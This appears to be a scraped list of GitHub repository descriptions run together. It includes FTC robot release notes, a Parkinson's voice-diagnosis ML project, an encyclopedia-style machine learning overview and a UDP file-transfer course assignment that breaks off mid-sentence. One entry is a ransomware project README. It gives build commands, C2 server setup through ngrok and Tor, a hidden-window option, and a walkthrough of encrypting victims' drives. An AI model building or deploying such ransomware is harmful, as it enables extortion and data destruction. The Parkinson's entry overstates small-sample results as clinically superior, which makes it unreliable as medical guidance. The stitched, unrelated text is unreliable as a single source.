user interfaces for FTC Driver Station and FTC Robot Controller apps. An init() method is added to the OpMode class. For this release, init() is triggered right before the start() method. Eventually, the init() method will be triggered when the user presses an "INIT" button on driver station. The init() and loop() methods are now required (i.e., need to be overridden in the user's op mode). The start() and stop() methods are optional. A new LinearOpMode class is introduced. Teams can use the LinearOpMode mode to create a linear (not event driven) program model. Teams can use blocking statements like Thread.sleep() within a linear op mode. The API for the Legacy Module and Core Device Interface Module have been updated. Support for encoders with the Legacy Module is now working. The hardware loop has been updated for better performance.
TuringLang / Bijectors.jlImplementation of normalising flows and constrained random variable transformations
Aastha2104 / Parkinson Disease PredictionIntroduction Parkinson’s Disease is the second most prevalent neurodegenerative disorder after Alzheimer’s, affecting more than 10 million people worldwide. Parkinson’s is characterized primarily by the deterioration of motor and cognitive ability. There is no single test which can be administered for diagnosis. Instead, doctors must perform a careful clinical analysis of the patient’s medical history. Unfortunately, this method of diagnosis is highly inaccurate. A study from the National Institute of Neurological Disorders finds that early diagnosis (having symptoms for 5 years or less) is only 53% accurate. This is not much better than random guessing, but an early diagnosis is critical to effective treatment. Because of these difficulties, I investigate a machine learning approach to accurately diagnose Parkinson’s, using a dataset of various speech features (a non-invasive yet characteristic tool) from the University of Oxford. Why speech features? Speech is very predictive and characteristic of Parkinson’s disease; almost every Parkinson’s patient experiences severe vocal degradation (inability to produce sustained phonations, tremor, hoarseness), so it makes sense to use voice to diagnose the disease. Voice analysis gives the added benefit of being non-invasive, inexpensive, and very easy to extract clinically. Background Parkinson's Disease Parkinson’s is a progressive neurodegenerative condition resulting from the death of the dopamine containing cells of the substantia nigra (which plays an important role in movement). Symptoms include: “frozen” facial features, bradykinesia (slowness of movement), akinesia (impairment of voluntary movement), tremor, and voice impairment. Typically, by the time the disease is diagnosed, 60% of nigrostriatal neurons have degenerated, and 80% of striatal dopamine have been depleted. Performance Metrics TP = true positive, FP = false positive, TN = true negative, FN = false negative Accuracy: (TP+TN)/(P+N) Matthews Correlation Coefficient: 1=perfect, 0=random, -1=completely inaccurate Algorithms Employed Logistic Regression (LR): Uses the sigmoid logistic equation with weights (coefficient values) and biases (constants) to model the probability of a certain class for binary classification. An output of 1 represents one class, and an output of 0 represents the other. Training the model will learn the optimal weights and biases. Linear Discriminant Analysis (LDA): Assumes that the data is Gaussian and each feature has the same variance. LDA estimates the mean and variance for each class from the training data, and then uses properties of statistics (Bayes theorem , Gaussian distribution, etc) to compute the probability of a particular instance belonging to a given class. The class with the largest probability is the prediction. k Nearest Neighbors (KNN): Makes predictions about the validation set using the entire training set. KNN makes a prediction about a new instance by searching through the entire set to find the k “closest” instances. “Closeness” is determined using a proximity measurement (Euclidean) across all features. The class that the majority of the k closest instances belong to is the class that the model predicts the new instance to be. Decision Tree (DT): Represented by a binary tree, where each root node represents an input variable and a split point, and each leaf node contains an output used to make a prediction. Neural Network (NN): Models the way the human brain makes decisions. Each neuron takes in 1+ inputs, and then uses an activation function to process the input with weights and biases to produce an output. Neurons can be arranged into layers, and multiple layers can form a network to model complex decisions. Training the network involves using the training instances to optimize the weights and biases. Naive Bayes (NB): Simplifies the calculation of probabilities by assuming that all features are independent of one another (a strong but effective assumption). Employs Bayes Theorem to calculate the probabilities that the instance to be predicted is in each class, then finds the class with the highest probability. Gradient Boost (GB): Generally used when seeking a model with very high predictive performance. Used to reduce bias and variance (“error”) by combining multiple “weak learners” (not very good models) to create a “strong learner” (high performance model). Involves 3 elements: a loss function (error function) to be optimized, a weak learner (decision tree) to make predictions, and an additive model to add trees to minimize the loss function. Gradient descent is used to minimize error after adding each tree (one by one). Engineering Goal Produce a machine learning model to diagnose Parkinson’s disease given various features of a patient’s speech with at least 90% accuracy and/or a Matthews Correlation Coefficient of at least 0.9. Compare various algorithms and parameters to determine the best model for predicting Parkinson’s. Dataset Description Source: the University of Oxford 195 instances (147 subjects with Parkinson’s, 48 without Parkinson’s) 22 features (elements that are possibly characteristic of Parkinson’s, such as frequency, pitch, amplitude / period of the sound wave) 1 label (1 for Parkinson’s, 0 for no Parkinson’s) Project Pipeline pipeline Summary of Procedure Split the Oxford Parkinson’s Dataset into two parts: one for training, one for validation (evaluate how well the model performs) Train each of the following algorithms with the training set: Logistic Regression, Linear Discriminant Analysis, k Nearest Neighbors, Decision Tree, Neural Network, Naive Bayes, Gradient Boost Evaluate results using the validation set Repeat for the following training set to validation set splits: 80% training / 20% validation, 75% / 25%, and 70% / 30% Repeat for a rescaled version of the dataset (scale all the numbers in the dataset to a range from 0 to 1: this helps to reduce the effect of outliers) Conduct 5 trials and average the results Data a_o a_r m_o m_r Data Analysis In general, the models tended to perform the best (both in terms of accuracy and Matthews Correlation Coefficient) on the rescaled dataset with a 75-25 train-test split. The two highest performing algorithms, k Nearest Neighbors and the Neural Network, both achieved an accuracy of 98%. The NN achieved a MCC of 0.96, while KNN achieved a MCC of 0.94. These figures outperform most existing literature and significantly outperform current methods of diagnosis. Conclusion and Significance These robust results suggest that a machine learning approach can indeed be implemented to significantly improve diagnosis methods of Parkinson’s disease. Given the necessity of early diagnosis for effective treatment, my machine learning models provide a very promising alternative to the current, rather ineffective method of diagnosis. Current methods of early diagnosis are only 53% accurate, while my machine learning model produces 98% accuracy. This 45% increase is critical because an accurate, early diagnosis is needed to effectively treat the disease. Typically, by the time the disease is diagnosed, 60% of nigrostriatal neurons have degenerated, and 80% of striatal dopamine have been depleted. With an earlier diagnosis, much of this degradation could have been slowed or treated. My results are very significant because Parkinson’s affects over 10 million people worldwide who could benefit greatly from an early, accurate diagnosis. Not only is my machine learning approach more accurate in terms of diagnostic accuracy, it is also more scalable, less expensive, and therefore more accessible to people who might not have access to established medical facilities and professionals. The diagnosis is also much simpler, requiring only a 10-15 second voice recording and producing an immediate diagnosis. Future Research Given more time and resources, I would investigate the following: Create a mobile application which would allow the user to record his/her voice, extract the necessary vocal features, and feed it into my machine learning model to diagnose Parkinson’s. Use larger datasets in conjunction with the University of Oxford dataset. Tune and improve my models even further to achieve even better results. Investigate different structures and types of neural networks. Construct a novel algorithm specifically suited for the prediction of Parkinson’s. Generalize my findings and algorithms for all types of dementia disorders, such as Alzheimer’s. References Bind, Shubham. "A Survey of Machine Learning Based Approaches for Parkinson Disease Prediction." International Journal of Computer Science and Information Technologies 6 (2015): n. pag. International Journal of Computer Science and Information Technologies. 2015. Web. 8 Mar. 2017. Brooks, Megan. "Diagnosing Parkinson's Disease Still Challenging." Medscape Medical News. National Institute of Neurological Disorders, 31 July 2014. Web. 20 Mar. 2017. Exploiting Nonlinear Recurrence and Fractal Scaling Properties for Voice Disorder Detection', Little MA, McSharry PE, Roberts SJ, Costello DAE, Moroz IM. BioMedical Engineering OnLine 2007, 6:23 (26 June 2007) Hashmi, Sumaiya F. "A Machine Learning Approach to Diagnosis of Parkinson’s Disease."Claremont Colleges Scholarship. Claremont College, 2013. Web. 10 Mar. 2017. Karplus, Abraham. "Machine Learning Algorithms for Cancer Diagnosis." Machine Learning Algorithms for Cancer Diagnosis (n.d.): n. pag. Mar. 2012. Web. 20 Mar. 2017. Little, Max. "Parkinsons Data Set." UCI Machine Learning Repository. University of Oxford, 26 June 2008. Web. 20 Feb. 2017. Ozcift, Akin, and Arif Gulten. "Classifier Ensemble Construction with Rotation Forest to Improve Medical Diagnosis Performance of Machine Learning Algorithms." Computer Methods and Programs in Biomedicine 104.3 (2011): 443-51. Semantic Scholar. 2011. Web. 15 Mar. 2017. "Parkinson’s Disease Dementia." UCI MIND. N.p., 19 Oct. 2015. Web. 17 Feb. 2017. Salvatore, C., A. Cerasa, I. Castiglioni, F. Gallivanone, A. Augimeri, M. Lopez, G. Arabia, M. Morelli, M.c. Gilardi, and A. Quattrone. "Machine Learning on Brain MRI Data for Differential Diagnosis of Parkinson's Disease and Progressive Supranuclear Palsy."Journal of Neuroscience Methods 222 (2014): 230-37. 2014. Web. 18 Mar. 2017. Shahbakhi, Mohammad, Danial Taheri Far, and Ehsan Tahami. "Speech Analysis for Diagnosis of Parkinson’s Disease Using Genetic Algorithm and Support Vector Machine."Journal of Biomedical Science and Engineering 07.04 (2014): 147-56. Scientific Research. July 2014. Web. 2 Mar. 2017. "Speech and Communication." Speech and Communication. Parkinson's Disease Foundation, n.d. Web. 22 Mar. 2017. Sriram, Tarigoppula V. S., M. Venkateswara Rao, G. V. Satya Narayana, and D. S. V. G. K. Kaladhar. "Diagnosis of Parkinson Disease Using Machine Learning and Data Mining Systems from Voice Dataset." SpringerLink. Springer, Cham, 01 Jan. 1970. Web. 17 Mar. 2017.
getanteon / Go FakerFaker for golang. Random data generator. Compatible with postman dynamic variables.
Pegah-Ardehkhani / Statistics And Probability In PythonA comprehensive exploration of Statistics and Probability Theory concepts, with practical implementations in Python
abhir98 / RansomwareProject Summary This project was developed for the Computer Security course at my academic degree. Basically, it will encrypt your files in background using AES-256-CTR, a strong encryption algorithm, using RSA-4096 to secure the exchange with the server, optionally using the Tor SOCKS5 Proxy. The base functionality is what you see in the famous ransomware Cryptolocker. The project is composed by three parts, the server, the malware and the unlocker. The server store the victim's identification key along with the encryption key used by the malware. The malware encrypt with a RSA-4096 (RSA-OAEP-4096 + SHA256) public key any payload before send then to the server. This approach with the optional Tor Proxy and a .onion domain allow you to hide almost completely your server. Features Run in Background (or not) Encrypt files using AES-256-CTR(Counter Mode) with random IV for each file. Multithreaded. RSA-4096 to secure the client/server communication. Includes an Unlocker. Optional TOR Proxy support. Use an AES CTR Cypher with stream encryption to avoid load an entire file into memory. Walk all drives by default. Docker image for compilation. Building the binaries DON'T RUN ransomware.exe IN YOUR PERSONAL MACHINE, EXECUTE ONLY IN A TEST ENVIRONMENT! I'm not resposible if you acidentally encrypt all of your disks! First of all download the project outside your $GOPATH: git clone github.com/mauri870/ransomware cd ransomware If you have Docker skip to the next section. You need Go at least 1.11.2 with the $GOPATH/bin in your $PATH and $GOROOT pointing to your Go installation folder. For me: export GOPATH=~/gopath export PATH=$PATH:$GOPATH/bin export GOROOT=/usr/local/go Build the project require a lot of steps, like the RSA key generation, build three binaries, embed manifest files, so, let's leave make do your job: make deps make You can build the server for windows with make -e GOOS=windows. Docker ./build-docker.sh make Config Parameters You can change some of the configs during compilation. Instead of run only make, you can use the following variables: HIDDEN='-H windowsgui' # optional. If present the malware will run in background USE_TOR=true # optional. If present the malware will download the Tor proxy and use it to contact the server SERVER_HOST=mydomain.com # the domain used to connect to your server. localhost, 0.0.0.0, 127.0.0.1 works too if you run the server on the same machine as the malware SERVER_PORT=8080 # the server port, if using a domain you can set this to 80 GOOS=linux # the target os to compile the server. Eg: darwin, linux, windows Example: make -e USE_TOR=true SERVER_HOST=mydomain.com SERVER_PORT=80 GOOS=darwin The SERVER_ variables above only apply to the malware. The server has a flag --port that you can use to change the port that it will listen on. DON'T RUN ransomware.exe IN YOUR PERSONAL MACHINE, EXECUTE ONLY IN A TEST ENVIRONMENT! I'm not resposible if you acidentally encrypt all of your disks! Step by Step Demo and How it Works For this demo I'll use two machines, my personal linux machine and a windows 10 VM. For the sake of simplicity, I have a folder mapped to the VM, so I can compile from my linux and copy to the vm. In this demo we will use the Ngrok tool, this will allow us to expose our server using a domain, but you can use your own domain or ip address if you want. We are also going to enable the Tor transport, so .onion domains will work without problems. First of all lets start our external domain: ngrok http 8080 This command will give us a url like http://2af7161c.ngrok.io. Keep this command running otherwise the malware won't reach our server. Let's compile the binaries (remember to replace the domain): make -e SERVER_HOST=2af7161c.ngrok.io SERVER_PORT=80 USE_TOR=true The SERVER_PORT needs to be 80 in this case, since ngrok redirects 2af7161c.ngrok.io:80 to your local server port 8080. After build, a binary called ransomware.exe, and unlocker.exe along with a folder called server will be generated in the bin folder. The execution of ransomware.exe and unlocker.exe (even if you use a diferent GOOS variable during compilation) is locked to windows machines only. Enter the server directory from another terminal and start it: cd bin/server && ./server --port 8080 To make sure that all is working correctly, make a http request to http://2af7161c.ngrok.io: curl http://2af7161c.ngrok.io If you see a OK and some logs in the server output you are ready to go. Now move the ransomware.exe and unlocker.exe to the VM along with some dummy files to test the malware. You can take a look at cmd/common.go to see some configuration options like file extensions to match, directories to scan, skipped folders, max size to match a file among others. Then simply run the ransomware.exe and see the magic happens 😄. The window that you see can be hidden using the HIDDEN option described in the compilation section. After download, extract and start the Tor proxy, the malware waits until the tor bootstrapping is done and then proceed with the key exchange with the server. The client/server handshake takes place and the client payload, encrypted with an RSA-4096 public key must be correctly decrypted on the server. The victim identification and encryption keys are stored in a Golang embedded database called BoltDB (it also persists on disk). When completed we get into the find, match and encrypt phase, up to N-cores workers start to encrypt files matched by the patterns defined. This proccess is really quick and in seconds all of your files will be gone. The encryption key exchanged with the server was used to encrypt all of your files. Each file has a random primitive called IV, generated individually and saved as the first 16 bytes of the encrypted content. The algorithm used is AES-256-CTR, a good AES cypher with streaming mode of operation such that the file size is left intact. The only two sources of information available about what just happen are the READ_TO_DECRYPT.html and FILES_ENCRYPTED.html in the Desktop. In theory, to decrypt your files you need to send an amount of BTC to the attacker's wallet, followed by a contact sending your ID(located on the file created on desktop). If the attacker can confirm your payment it will possibly(or maybe not) return your encryption key and the unlocker.exe and you can use then to recover your files. This exchange can be accomplished in several ways and WILL NOT be implemented in this project for obvious reasons. Let's suppose you get your encryption key back. To recover the correct key point to the following url: curl -k http://2af7161c.ngrok.io/api/keys/:id Where :id is your identification stored in the file on desktop. After, run the unlocker.exe by double click and follow the instructions. That's it, got your files back 😄 The server has only two endpoints: POST api/keys/add - Used by the malware to persist new keys. Some verifications are made, like the verification of the RSA autenticity. Returns 204 (empty content) in case of success or a json error. GET api/keys/:id - Id is a 32 characters parameter, representing an Id already persisted. Returns a json containing the encryption key or a json error The end As you can see, building a functional ransomware, with some of the best existing algorithms is not difficult, anyone with some programming skills can build that in any programming language.
rmaestre / Mutual InformationIn probability theory and information theory, the mutual information of two random variables is a quantity that measures the mutual dependence of the two random variables. This script performs MI over Mutual Information over discrete random variables
Aryia-Behroziuan / NeuronsAn ANN is a model based on a collection of connected units or nodes called "artificial neurons", which loosely model the neurons in a biological brain. Each connection, like the synapses in a biological brain, can transmit information, a "signal", from one artificial neuron to another. An artificial neuron that receives a signal can process it and then signal additional artificial neurons connected to it. In common ANN implementations, the signal at a connection between artificial neurons is a real number, and the output of each artificial neuron is computed by some non-linear function of the sum of its inputs. The connections between artificial neurons are called "edges". Artificial neurons and edges typically have a weight that adjusts as learning proceeds. The weight increases or decreases the strength of the signal at a connection. Artificial neurons may have a threshold such that the signal is only sent if the aggregate signal crosses that threshold. Typically, artificial neurons are aggregated into layers. Different layers may perform different kinds of transformations on their inputs. Signals travel from the first layer (the input layer) to the last layer (the output layer), possibly after traversing the layers multiple times. The original goal of the ANN approach was to solve problems in the same way that a human brain would. However, over time, attention moved to performing specific tasks, leading to deviations from biology. Artificial neural networks have been used on a variety of tasks, including computer vision, speech recognition, machine translation, social network filtering, playing board and video games and medical diagnosis. Deep learning consists of multiple hidden layers in an artificial neural network. This approach tries to model the way the human brain processes light and sound into vision and hearing. Some successful applications of deep learning are computer vision and speech recognition.[68] Decision trees Main article: Decision tree learning Decision tree learning uses a decision tree as a predictive model to go from observations about an item (represented in the branches) to conclusions about the item's target value (represented in the leaves). It is one of the predictive modeling approaches used in statistics, data mining, and machine learning. Tree models where the target variable can take a discrete set of values are called classification trees; in these tree structures, leaves represent class labels and branches represent conjunctions of features that lead to those class labels. Decision trees where the target variable can take continuous values (typically real numbers) are called regression trees. In decision analysis, a decision tree can be used to visually and explicitly represent decisions and decision making. In data mining, a decision tree describes data, but the resulting classification tree can be an input for decision making. Support vector machines Main article: Support vector machines Support vector machines (SVMs), also known as support vector networks, are a set of related supervised learning methods used for classification and regression. Given a set of training examples, each marked as belonging to one of two categories, an SVM training algorithm builds a model that predicts whether a new example falls into one category or the other.[69] An SVM training algorithm is a non-probabilistic, binary, linear classifier, although methods such as Platt scaling exist to use SVM in a probabilistic classification setting. In addition to performing linear classification, SVMs can efficiently perform a non-linear classification using what is called the kernel trick, implicitly mapping their inputs into high-dimensional feature spaces. Illustration of linear regression on a data set. Regression analysis Main article: Regression analysis Regression analysis encompasses a large variety of statistical methods to estimate the relationship between input variables and their associated features. Its most common form is linear regression, where a single line is drawn to best fit the given data according to a mathematical criterion such as ordinary least squares. The latter is often extended by regularization (mathematics) methods to mitigate overfitting and bias, as in ridge regression. When dealing with non-linear problems, go-to models include polynomial regression (for example, used for trendline fitting in Microsoft Excel[70]), logistic regression (often used in statistical classification) or even kernel regression, which introduces non-linearity by taking advantage of the kernel trick to implicitly map input variables to higher-dimensional space. Bayesian networks Main article: Bayesian network A simple Bayesian network. Rain influences whether the sprinkler is activated, and both rain and the sprinkler influence whether the grass is wet. A Bayesian network, belief network, or directed acyclic graphical model is a probabilistic graphical model that represents a set of random variables and their conditional independence with a directed acyclic graph (DAG). For example, a Bayesian network could represent the probabilistic relationships between diseases and symptoms. Given symptoms, the network can be used to compute the probabilities of the presence of various diseases. Efficient algorithms exist that perform inference and learning. Bayesian networks that model sequences of variables, like speech signals or protein sequences, are called dynamic Bayesian networks. Generalizations of Bayesian networks that can represent and solve decision problems under uncertainty are called influence diagrams. Genetic algorithms Main article: Genetic algorithm A genetic algorithm (GA) is a search algorithm and heuristic technique that mimics the process of natural selection, using methods such as mutation and crossover to generate new genotypes in the hope of finding good solutions to a given problem. In machine learning, genetic algorithms were used in the 1980s and 1990s.[71][72] Conversely, machine learning techniques have been used to improve the performance of genetic and evolutionary algorithms.[73] Training models Usually, machine learning models require a lot of data in order for them to perform well. Usually, when training a machine learning model, one needs to collect a large, representative sample of data from a training set. Data from the training set can be as varied as a corpus of text, a collection of images, and data collected from individual users of a service. Overfitting is something to watch out for when training a machine learning model. Federated learning Main article: Federated learning Federated learning is an adapted form of distributed artificial intelligence to training machine learning models that decentralizes the training process, allowing for users' privacy to be maintained by not needing to send their data to a centralized server. This also increases efficiency by decentralizing the training process to many devices. For example, Gboard uses federated machine learning to train search query prediction models on users' mobile phones without having to send individual searches back to Google.[74] Applications There are many applications for machine learning, including: Agriculture Anatomy Adaptive websites Affective computing Banking Bioinformatics Brain–machine interfaces Cheminformatics Citizen science Computer networks Computer vision Credit-card fraud detection Data quality DNA sequence classification Economics Financial market analysis[75] General game playing Handwriting recognition Information retrieval Insurance Internet fraud detection Linguistics Machine learning control Machine perception Machine translation Marketing Medical diagnosis Natural language processing Natural language understanding Online advertising Optimization Recommender systems Robot locomotion Search engines Sentiment analysis Sequence mining Software engineering Speech recognition Structural health monitoring Syntactic pattern recognition Telecommunication Theorem proving Time series forecasting User behavior analytics In 2006, the media-services provider Netflix held the first "Netflix Prize" competition to find a program to better predict user preferences and improve the accuracy of its existing Cinematch movie recommendation algorithm by at least 10%. A joint team made up of researchers from AT&T Labs-Research in collaboration with the teams Big Chaos and Pragmatic Theory built an ensemble model to win the Grand Prize in 2009 for $1 million.[76] Shortly after the prize was awarded, Netflix realized that viewers' ratings were not the best indicators of their viewing patterns ("everything is a recommendation") and they changed their recommendation engine accordingly.[77] In 2010 The Wall Street Journal wrote about the firm Rebellion Research and their use of machine learning to predict the financial crisis.[78] In 2012, co-founder of Sun Microsystems, Vinod Khosla, predicted that 80% of medical doctors' jobs would be lost in the next two decades to automated machine learning medical diagnostic software.[79] In 2014, it was reported that a machine learning algorithm had been applied in the field of art history to study fine art paintings and that it may have revealed previously unrecognized influences among artists.[80] In 2019 Springer Nature published the first research book created using machine learning.[81] Limitations Although machine learning has been transformative in some fields, machine-learning programs often fail to deliver expected results.[82][83][84] Reasons for this are numerous: lack of (suitable) data, lack of access to the data, data bias, privacy problems, badly chosen tasks and algorithms, wrong tools and people, lack of resources, and evaluation problems.[85] In 2018, a self-driving car from Uber failed to detect a pedestrian, who was killed after a collision.[86] Attempts to use machine learning in healthcare with the IBM Watson system failed to deliver even after years of time and billions of dollars invested.[87][88] Bias Main article: Algorithmic bias Machine learning approaches in particular can suffer from different data biases. A machine learning system trained on current customers only may not be able to predict the needs of new customer groups that are not represented in the training data. When trained on man-made data, machine learning is likely to pick up the same constitutional and unconscious biases already present in society.[89] Language models learned from data have been shown to contain human-like biases.[90][91] Machine learning systems used for criminal risk assessment have been found to be biased against black people.[92][93] In 2015, Google photos would often tag black people as gorillas,[94] and in 2018 this still was not well resolved, but Google reportedly was still using the workaround to remove all gorillas from the training data, and thus was not able to recognize real gorillas at all.[95] Similar issues with recognizing non-white people have been found in many other systems.[96] In 2016, Microsoft tested a chatbot that learned from Twitter, and it quickly picked up racist and sexist language.[97] Because of such challenges, the effective use of machine learning may take longer to be adopted in other domains.[98] Concern for fairness in machine learning, that is, reducing bias in machine learning and propelling its use for human good is increasingly expressed by artificial intelligence scientists, including Fei-Fei Li, who reminds engineers that "There’s nothing artificial about AI...It’s inspired by people, it’s created by people, and—most importantly—it impacts people. It is a powerful tool we are only just beginning to understand, and that is a profound responsibility.”[99] Model assessments Classification of machine learning models can be validated by accuracy estimation techniques like the holdout method, which splits the data in a training and test set (conventionally 2/3 training set and 1/3 test set designation) and evaluates the performance of the training model on the test set. In comparison, the K-fold-cross-validation method randomly partitions the data into K subsets and then K experiments are performed each respectively considering 1 subset for evaluation and the remaining K-1 subsets for training the model. In addition to the holdout and cross-validation methods, bootstrap, which samples n instances with replacement from the dataset, can be used to assess model accuracy.[100] In addition to overall accuracy, investigators frequently report sensitivity and specificity meaning True Positive Rate (TPR) and True Negative Rate (TNR) respectively. Similarly, investigators sometimes report the false positive rate (FPR) as well as the false negative rate (FNR). However, these rates are ratios that fail to reveal their numerators and denominators. The total operating characteristic (TOC) is an effective method to express a model's diagnostic ability. TOC shows the numerators and denominators of the previously mentioned rates, thus TOC provides more information than the commonly used receiver operating characteristic (ROC) and ROC's associated area under the curve (AUC).[101] Ethics Machine learning poses a host of ethical questions. Systems which are trained on datasets collected with biases may exhibit these biases upon use (algorithmic bias), thus digitizing cultural prejudices.[102] For example, using job hiring data from a firm with racist hiring policies may lead to a machine learning system duplicating the bias by scoring job applicants against similarity to previous successful applicants.[103][104] Responsible collection of data and documentation of algorithmic rules used by a system thus is a critical part of machine learning. Because human languages contain biases, machines trained on language corpora will necessarily also learn these biases.[105][106] Other forms of ethical challenges, not related to personal biases, are more seen in health care. There are concerns among health care professionals that these systems might not be designed in the public's interest but as income-generating machines. This is especially true in the United States where there is a long-standing ethical dilemma of improving health care, but also increasing profits. For example, the algorithms could be designed to provide patients with unnecessary tests or medication in which the algorithm's proprietary owners hold stakes. There is huge potential for machine learning in health care to provide professionals a great tool to diagnose, medicate, and even plan recovery paths for patients, but this will not happen until the personal biases mentioned previously, and these "greed" biases are addressed.[107] Hardware Since the 2010s, advances in both machine learning algorithms and computer hardware have led to more efficient methods for training deep neural networks (a particular narrow subdomain of machine learning) that contain many layers of non-linear hidden units.[108] By 2019, graphic processing units (GPUs), often with AI-specific enhancements, had displaced CPUs as the dominant method of training large-scale commercial cloud AI.[109] OpenAI estimated the hardware compute used in the largest deep learning projects from AlexNet (2012) to AlphaZero (2017), and found a 300,000-fold increase in the amount of compute required, with a doubling-time trendline of 3.4 months.[110][111] Software Software suites containing a variety of machine learning algorithms include the following: Free and open-source so
jgoerner / Distribution Cheatsheet📈📄👀A lookup repo for a variety of discrete and continuous distributions (incl. Beta, Binomial, Cauchy, Chi-squared, Geometric, Hypergeometric, Normal & Poisson)
SOYJUN / FTP Implement Based On UDPThe aim of this assignment is to have you do UDP socket client / server programming with a focus on two broad aspects : Setting up the exchange between the client and server in a secure way despite the lack of a formal connection (as in TCP) between the two, so that ‘outsider’ UDP datagrams (broadcast, multicast, unicast - fortuitously or maliciously) cannot intrude on the communication. Introducing application-layer protocol data-transmission reliability, flow control and congestion control in the client and server using TCP-like ARQ sliding window mechanisms. The second item above is much more of a challenge to implement than the first, though neither is particularly trivial. But they are not tightly interdependent; each can be worked on separately at first and then integrated together at a later stage. Apart from the material in Chapters 8, 14 & 22 (especially Sections 22.5 - 22.7), and the experience you gained from the preceding assignment, you will also need to refer to the following : ioctl function (Chapter 17). get_ifi_info function (Section 17.6, Chapter 17). This function will be used by the server code to discover its node’s network interfaces so that it can bind all its interface IP addresses (see Section 22.6). ‘Race’ conditions (Section 20.5, Chapter 20) You also need a thorough understanding of how the TCP protocol implements reliable data transfer, flow control and congestion control. Chapters 17- 24 of TCP/IP Illustrated, Volume 1 by W. Richard Stevens gives a good overview of TCP. Though somewhat dated for some things (it was published in 1994), it remains, overall, a good basic reference. Overview This assignment asks you to implement a primitive file transfer protocol for Unix platforms, based on UDP, and with TCP-like reliability added to the transfer operation using timeouts and sliding-window mechanisms, and implementing flow and congestion control. The server is a concurrent server which can handle multiple clients simultaneously. A client gives the server the name of a file. The server forks off a child which reads directly from the file and transfers the contents over to the client using UDP datagrams. The client prints out the file contents as they come in, in order, with nothing missing and with no duplication of content, directly on to stdout (via the receiver sliding window, of course, but with no other intermediate buffering). The file to be transferred can be of arbitrary length, but its contents are always straightforward ascii text. As an aside let me mention that assuming the file contents ascii is not as restrictive as it sounds. We can always pretend, for example, that binary files are base64 encoded (“ASCII armor”). A real file transfer protocol would, of course, have to worry about transferring files between heterogeneous platforms with different file structure conventions and semantics. The sender would first have to transform the file into a platform-independent, protocol-defined, format (using, say, ASN.1, or some such standard), and the receiver would have to transform the received file into its platform’s native file format. This kind of thing can be fairly time consuming, and is certainly very tedious, to implement, with little educational value - it is not part of this assignment. Arguments for the server You should provide the server with an input file server.in from which it reads the following information, in the order shown, one item per line : Well-known port number for server. Maximum sending sliding-window size (in datagram units). You will not be handing in your server.in file. We shall create our own when we come to test your code. So it is important that you stick strictly to the file name and content conventions specified above. The same applies to the client.in input file below. Arguments for the client The client is to be provided with an input file client.in from which it reads the following information, in the order shown, one item per line : IP address of server (not the hostname). Well-known port number of server. filename to be transferred. Receiving sliding-window size (in datagram units). Random generator seed value. Probability p of datagram loss. This should be a real number in the range [ 0.0 , 1.0 ] (value 0.0 means no loss occurs; value 1.0 means all datagrams all lost). The mean µ, in milliseconds, for an exponential distribution controlling the rate at which the client reads received datagram payloads from its receive buffer. Operation Server starts up and reads its arguments from file server.in. As we shall see, when a client communicates with the server, the server will want to know what IP address that client is using to identify the server (i.e. , the destination IP address in the incoming datagram). Normally, this can be done relatively straightforwardly using the IP_RECVDESTADDR socket option, and picking up the information using the ancillary data (‘control information’) capability of the recvmsg function. Unfortunately, Solaris 2.10 does not support the IP_RECVDESTADDR option (nor, incidentally, does it support the msg_flags option in msghdr - see p.390). This considerably complicates things. In the absence of IP_RECVDESTADDR, what the server has to do as part of its initialization phase is to bind each IP address it has (and, simultaneously, its well-known port number, which it has read in from server.in) to a separate UDP socket. The code in Section 22.6, which uses the get_ifi_info function, shows you how to do that. However, there are important differences between that code and the version you want to implement. The code of Section 22.6 binds the IP addresses and forks off a child for each address that is bound to. We do not want to do that. Instead you should have an array of socket descriptors. For each IP address, create a new socket and bind the address (and well-known port number) to the socket without forking off child processes. Creating child processes comes later, when clients arrive. The code of Section 22.6 also attempts to bind broadcast addresses. We do not want to do this. It binds a wildcard IP address, which we certainly do not want to do either. We should bind strictly only unicast addresses (including the loopback address). The get_ifi_info function (which the code in Section 22.6 uses) has to be modified so that it also gets the network masks for the IP addresses of the node, and adds these to the information stored in the linked list of ifi_info structures (see Figure 17.5, p.471) it produces. As you go binding each IP address to a distinct socket, it will be useful for later processing to build your own array of structures, where a structure element records the following information for each socket : sockfd IP address bound to the socket network mask for the IP address subnet address (obtained by doing a bit-wise and between the IP address and its network mask) Report, in a ReadMe file which you hand in with your code, on the modifications you had to introduce to ensure that only unicast addresses are bound, and on your implementation of the array of structures described above. You should print out on stdout, with an appropriate message and appropriately formatted in dotted decimal notation, the IP address, network mask, and subnet address for each socket in your array of structures (you do not need to print the sockfd). The server now uses select to monitor the sockets it has created for incoming datagrams. When it returns from select, it must use recvfrom or recvmsg to read the incoming datagram (see 6. below). When a client starts, it first reads its arguments from the file client.in. The client checks if the server host is ‘local’ to its (extended) Ethernet. If so, all its communication to the server is to occur as MSG_DONTROUTE (or SO_DONTROUTE socket option). It determines if the server host is ‘local’ as follows. The first thing the client should do is to use the modified get_ifi_info function to obtain all of its IP addresses and associated network masks. Print out on stdout, in dotted decimal notation and with an appropriate message, the IP addresses and network masks obtained. In the following, IPserver designates the IP address the client will use to identify the server, and IPclient designates the IP address the client will choose to identify itself. The client checks whether the server is on the same host. If so, it should use the loopback address 127.0.0.1 for the server (i.e. , IPserver = 127.0.0.1). IPclient should also be set to the loopback address. Otherwise it proceeds as follows: IPserver is set to the IP address for the server in the client.in file. Given IPserver and the (unicast) IP addresses and network masks for the client returned by get_ifi_info in the linked list of ifi_info structures, you should be able to figure out if the server node is ‘local’ or not. This will be discussed in class; but let me just remind you here that you should use ‘longest prefix matching’ where applicable. If there are multiple client addresses, and the server host is ‘local’, the client chooses an IP address for itself, IPclient, which matches up as ‘local’ according to your examination above. If the server host is not ‘local’, then IPclient can be chosen arbitrarily. Print out on stdout the results of your examination, as to whether the server host is ‘local’ or not, as well as the IPclient and IPserver addresses selected. Note that this manner of determining whether the server is local or not is somewhat clumsy and ‘over-engineered’, and, as such, should be viewed more in the nature of a pedagogical exercise. Ideally, we would like to look up the server IP address(es) in the routing table (see Section 18.3). This requires that a routing socket be created, for which we need superuser privilege. Alternatively, we might want to dump out the routing table, using the sysctl function for example (see Section 18.4), and examine it directly. Unfortunately, Solaris 2.10 does not support sysctl. Furthermore, note that there is a slight problem with the address 130.245.1.123/24 assigned to compserv3 (see rightmost column of file hosts, and note that this particular compserv3 address “overlaps” with the 130.245.1.x/28 addresses in that same column assigned to compserv1, compserv2 & comserv4). In particular, if the client is running on compserv3 and the server on any of the other three compservs, and if that server node is also being identified to the client by its /28 (rather than its /24) address, then the client will get a “false 